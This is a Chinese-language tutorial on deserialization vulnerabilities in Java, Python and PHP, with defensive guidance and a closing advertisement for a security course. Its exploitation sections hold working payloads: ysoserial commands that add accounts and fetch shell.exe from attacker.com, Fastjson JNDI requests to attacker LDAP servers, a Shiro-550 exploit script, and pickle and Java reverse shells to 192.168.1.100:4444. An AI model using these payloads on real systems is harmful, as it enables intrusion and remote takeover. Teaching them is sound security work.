反序列化漏洞攻防指南:Java/Python/PHP全语言覆盖,网安必学漏洞类型!
一、什么是反序列化漏洞序列化与反序列化序列化Serialization将对象转换为可存储/传输的数据格式字节流、JSON、XML等。反序列化Deserialization将序列化后的数据恢复为原始对象。当应用程序对不可信的数据进行反序列化操作时如果数据中包含恶意构造的对象在反序列化过程中可能触发对象的魔术方法如readObject、__wakeup、__reduce__导致任意代码执行。漏洞危害危害等级具体影响实例说明远程代码执行在服务器上执行任意命令RCE获取服务器权限文件读取/写入读取敏感文件或写入WebShell读取配置文件中的密码拒绝服务反序列化恶意对象导致崩溃无限递归导致内存耗尽权限提升利用反序列化获取高权限从Web用户提权到SYSTEM内网渗透利用反序列化做跳板获取内网其他服务器权限二、Java反序列化漏洞1. Java序列化基础// 序列化importjava.io.*;// 可序列化类需实现Serializable接口publicclassUserimplementsSerializable{privateStringname;privateintage;publicUser(Stringname,intage){this.namename;this.ageage;}OverridepublicStringtoString(){returnUser{namename, ageage};}}// 序列化为文件ObjectOutputStreamoosnewObjectOutputStream(newFileOutputStream(user.ser));oos.writeObject(newUser(admin,25));oos.close();// 反序列化ObjectInputStreamoisnewObjectInputStream(newFileInputStream(user.ser));Useruser(User)ois.readObject();ois.close();2. 漏洞原理在Java反序列化过程中如果类重写了readObject()方法反序列化时会自动调用该方法。攻击者构造恶意的序列化数据使得readObject()执行危险操作。// 漏洞示例类publicclassEvilimplementsSerializable{privateStringcmd;// 反序列化时自动调用privatevoidreadObject(ObjectInputStreamin)throwsException{in.defaultReadObject();// 执行命令Runtime.getRuntime().exec(cmd);}}3. CommonsCollections反序列化漏洞Apache Commons Collections是Java最常用的集合框架库其InvokerTransformer类可以在反序列化时执行任意方法形成完整的利用链Gadget Chain。利用链分析AnnotationInvocationHandler.readObject() → TransformingComparator.compare() → InvokerTransformer.transform() → ChainedTransformer.transform() → ConstantTransformer.transform() → Runtime.class → InvokerTransformer.transform() → Runtime.getMethod(getRuntime) → InvokerTransformer.transform() → Runtime.exec(calc.exe)Payload生成工具ysoserial# 下载ysoserial# https://github.com/frohoff/ysoserial# 生成CommonsCollections1利用链java-jarysoserial.jar CommonsCollections1calc.exepayload.bin# 生成CommonsCollections5利用链java-jarysoserial.jar CommonsCollections5net user hacker Pss123 /addpayload.bin# 生成CommonsCollections6利用链不依赖库版本java-jarysoserial.jar CommonsCollections6cmd /c certutil -urlcache -split -f http://attacker.com/shell.exe C:\Windows\Temp\shell.exe C:\Windows\Temp\shell.exepayload.bin# 生成URLDNS利用链探测用不依赖额外库java-jarysoserial.jar URLDNShttp://attacker.com/testpayload.bin4. Fastjson反序列化漏洞Fastjson是阿里巴巴开源的JSON处理库通过type指定反序列化的类可触发任意类的setter方法。// 1. Fastjson 1.2.24 版本漏洞{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://attacker.com/Exploit,autoCommit:true}// 2. Fastjson 1.2.47 绕过通杀版本{a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://attacker.com/Exploit,autoCommit:true}}// 3. Fastjson 本地Gadget利用{type:org.apache.tomcat.dbcp.dbcp2.BasicDataSource,driverClassName:com.mysql.cj.jdbc.Driver,url:jdbc:mysql://attacker.com:3306/test?autoDeserializetruequeryInterceptorscom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor}利用流程# 1. 启动恶意LDAP/RMI服务java-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker.com:1389/#Exploit 1389# 2. 编译恶意类Exploit.java// Exploit.java public class Exploit{static{try{Runtime.getRuntime().exec(calc.exe);}catch(Exception e){}}}javac Exploit.java# 3. 发送恶意JSON请求curl-XPOST http://target.com/api/user\-HContent-Type: application/json\-d{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://attacker.com:1389/Exploit,autoCommit:true}5. Shiro反序列化漏洞Apache Shiro框架使用AES加密序列化的Cookie默认密钥硬编码在代码中kPHbIxk5D2deZiIxcaaaA。# Shiro-550 漏洞利用脚本importbase64importuuidimportrequestsfromCrypto.CipherimportAES# Shiro默认密钥keybase64.b64decode(kPHbIxk5D2deZiIxcaaaA)# 使用ysoserial生成序列化payload# java -jar ysoserial.jar CommonsBeanutils1 whoami payload.bin# 读取payloadwithopen(payload.bin,rb)asf:payloadf.read()# AES-CBC加密ivuuid.uuid4().bytescipherAES.new(key,AES.MODE_CBC,iv)# PKCS5 Paddingpad_len16-len(payload)%16payloadbytes([pad_len])*pad_len encryptedivcipher.encrypt(payload)# 发送请求cookiebase64.b64encode(encrypted).decode()requests.get(http://target.com/,cookies{rememberMe:cookie})检测方法# 检测是否使用Shiro框架curl-Ihttp://target.com/# 返回头中包含 Set-Cookie: rememberMedeleteMe; Path/# 使用ShiroExp工具自动化利用# https://github.com/feihong-cs/ShiroExploit-Released三、Python反序列化漏洞1. pickle模块漏洞importpickleimportos# 恶意类classEvil:def__reduce__(self):# __reduce__在反序列化时被调用# 返回(callable, args)return(os.system,(whoami,))# 生成恶意pickle数据payloadpickle.dumps(Evil())print(base64.b64encode(payload))# 触发漏洞pickle.loads(payload)# 执行 os.system(whoami)利用方式# 1. 生成反弹Shell的payloadimportpickleimportbase64importosclassReverseShell:def__reduce__(self):cmdbash -c bash -i /dev/tcp/192.168.1.100/4444 01return(os.system,(cmd,))payloadbase64.b64encode(pickle.dumps(ReverseShell()))print(payload.decode())# 2. 将payload发送到目标# 目标代码通常有类似 pickle.loads(base64.b64decode(input)) 的调用# 3. 在攻击者端监听# nc -lvnp 44442. 其他Python反序列化# yaml.load 漏洞importyaml yaml.load(!!python/object/apply:os.system [whoami])# jsonpickle 漏洞importjsonpickle jsonpickle.decode({py/object: os.system, value: whoami})四、PHP反序列化漏洞1. PHP序列化基础?php// 序列化$dataarray(nameadmin,roleuser);$serializedserialize($data);// 输出: a:2:{s:4:name;s:5:admin;s:4:role;s:4:user;}// 反序列化$dataunserialize($serialized);print_r($data);?2. 魔术方法PHP反序列化漏洞依赖魔术方法的自动调用魔术方法调用时机__wakeup()unserialize()时自动调用__destruct()对象被销毁时调用__toString()对象被当作字符串使用时调用__call()调用不存在的方法时触发__get()访问不存在/不可访问属性时触发__set()给不存在/不可访问属性赋值时触发3. POP链构造?php// 漏洞代码classFileHandler{public$filename;function__destruct(){// 对象销毁时读取文件内容echofile_get_contents($this-filename);}}classUser{public$name;public$handler;function__wakeup(){// 反序列化时将name赋给handler的filename$this-handler-filename$this-name;}}// 正常反序列化$input$_GET[data];$objunserialize($input);// __wakeup → $handler-filename $name// 脚本结束 → __destruct → file_get_contents($filename)?构造Payload?phpclassFileHandler{public$filename;}classUser{public$name;public$handler;}// 构造利用链$handlernewFileHandler();$usernewUser();$user-name/etc/passwd;// 要读取的文件$user-handler$handler;echoserialize($user);// O:4:User:2:{s:4:name;s:11:/etc/passwd;s:7:handler;O:11:FileHandler:1:{s:8:filename;N;}}?4. __wakeup绕过当属性个数大于真实属性个数时__wakeup不会被调用PHP 5.6.25, PHP 7 7.0.10。// 原始序列化数据O:4:User:2:{s:4:name;s:5:admin;s:4:role;s:4:user;}// 绕过__wakeup属性个数改为3O:4:User:3:{s:4:name;s:5:admin;s:4:role;s:4:user;}5. phar反序列化?php// phar文件可以利用反序列化// 当使用file_get_contents、file_exists等函数访问phar文件时触发// 生成恶意phar文件classEvil{public$cmdwhoami;function__destruct(){system($this-cmd);}}$pharnewPhar(evil.phar);$phar-startBuffering();$phar-addFromString(test.txt,test);$phar-setMetadata(newEvil());$phar-setStub(?php __HALT_COMPILER(); ?);$phar-stopBuffering();// 利用当目标存在 file_exists($_GET[file]) 时// 访问http://target.com/?filephar://evil.phar?五、反序列化漏洞检测1. 黑盒检测# Java - 使用ysoserial生成payload探测# URLDNS链安全探测不执行命令只发DNS请求java-jarysoserial.jar URLDNShttp://test.attacker.com|base64# 观察DNS日志是否收到请求# 如果收到说明存在反序列化漏洞# 使用Java Deserialization Scanner# Burp Suite插件自动检测反序列化漏洞2. 白盒审计// 危险函数搜索// JavaObjectInputStream.readObject()XMLDecoder.readObject()Yaml.load()XStream.fromXML()// PHPunserialize()phar:// // phar反序列化# Pythonpickle.loads()cPickle.loads()yaml.load()# 不使用yaml.SafeLoader六、反序列化防御方案1. Java防御// 1. 不要反序列化不可信数据// 使用JSON等安全格式替代Java序列化// 2. 使用白名单过滤ObjectInputStreampublicclassSafeObjectInputStreamextendsObjectInputStream{OverrideprotectedClass?resolveClass(ObjectStreamClassdesc)throwsIOException,ClassNotFoundException{// 只允许特定类反序列化if(!desc.getName().equals(com.example.User)!desc.getName().equals(com.example.Product)){thrownewInvalidClassException(Unauthorized class,desc.getName());}returnsuper.resolveClass(desc);}}// 3. Fastjson升级到最新版本并关闭AutoType// fastjson 1.2.68ParserConfig.getGlobalInstance().setSafeMode(true);// 4. 使用SerialKiller过滤器// https://github.com/ikkisoft/SerialKiller2. Python防御# 1. 不要对不可信数据使用pickle# 使用JSON替代# 2. 使用RestrictedPython限制执行环境fromRestrictedPythonimportcompile_restrictedfromRestrictedPython.Guardsimportsafe_builtins# 3. 自定义Unpickler限制类importpickleimportioclassRestrictedUnpickler(pickle.Unpickler):ALLOWED_CLASSES{builtins.dict,builtins.list,builtins.str,}deffind_class(self,module,name):full_namef{module}.{name}iffull_namenotinself.ALLOWED_CLASSES:raisepickle.UnpicklingError(fClass{full_name}not allowed)returnsuper().find_class(module,name)defsafe_loads(data):returnRestrictedUnpickler(io.BytesIO(data)).load()3. PHP防御?php// 1. 不要对不可信数据使用unserialize// 使用json_encode/json_decode替代// 2. 使用allowed_classes参数限制$dataunserialize($input,[allowed_classes[User,Product]]);// PHP 7.0// 3. 禁用phar://// php.ini: phar.readonly On// 4. 对序列化数据进行签名验证$signed_data$data.hash_hmac(sha256,$data,$secret_key);// 反序列化前验证签名?七、实战案例案例一Weblogic反序列化# Weblogic T3协议反序列化漏洞CVE-2018-2628# 1. 检测Weblogic端口nmap-p7001target.com# 7001端口开放# 2. 使用ysoserial生成T3协议payloadjava-jarysoserial.jar JRMPClient192.168.1.100:4444|base64# 3. 利用工具发送T3协议请求python3 weblogic_t3.py192.168.1.1007001payload.bin# 4. 或使用现成EXP# https://github.com/0xn0ne/weblogicScannerjava-jarweblogicScanner.jar http://target.com:7001/案例二Fastjson JNDI注入# 1. 检测Fastjson# 发送 {type:java.lang.AutoCloseable} 看是否报错# 2. 编写恶意类catExploit.javaEOF public class Exploit { static { try { String[] cmd {bash, -c, bash -i /dev/tcp/192.168.1.100/4444 01}; Runtime.getRuntime().exec(cmd); } catch (Exception e) {} } } EOFjavac Exploit.java# 3. 启动HTTP服务托管Exploit.classpython3-mhttp.server8080# 4. 启动LDAP服务java-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://192.168.1.100:8080/#Exploit1389# 5. 发送恶意请求curl-XPOST http://target.com/api/login\-HContent-Type: application/json\-d{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.1.100:1389/Exploit,autoCommit:true}# 6. 获取反弹Shell# nc -lvnp 4444八、反序列化工具汇总工具名称功能适用场景ysoserialJava Gadget链生成生成各版本CommonsCollections等利用链marshalsecJNDI/LDAP/RMI服务搭建恶意JNDI服务FastjsonExploitFastjson漏洞利用自动化检测和利用Fastjson漏洞ShiroExploitShiro反序列化利用自动爆破Shiro密钥和利用phpggcPHP反序列化链生成生成PHP框架反序列化payloadWeblogicScannerWeblogic漏洞扫描批量扫描Weblogic反序列化漏洞总结反序列化漏洞是近年来最严重的安全威胁之一在Java、Python、PHP等语言中广泛存在。本文从原理、主流语言的利用方式、检测方法到防御方案进行了系统讲解建议结合DVQA、Vulhub等靶场进行实战练习。学习资源2026年最新版本全网最全的网安视频教程。耗时半年打造之前都是内部资源专业方面绝对可以秒杀国内99%的机构和个人教学全网独一份你不可能在网上找到这么专业的教程。内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识而且包含了中级的各种渗透技术并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频200多G的资源不用担心学不全。包含攻击与防守、漏洞挖掘、CTF比赛等技术点1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群一、基础适配人群零基础转型者适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链开发/运维人员具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展或者转行就业应届毕业生计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期二、能力提升适配1、技术爱好者适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者2、安全从业者帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力3、合规需求者包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传戳下面拿这些东西我都可以免费分享给大家需要的可以点这里自取:网安入门到进阶资源————————————————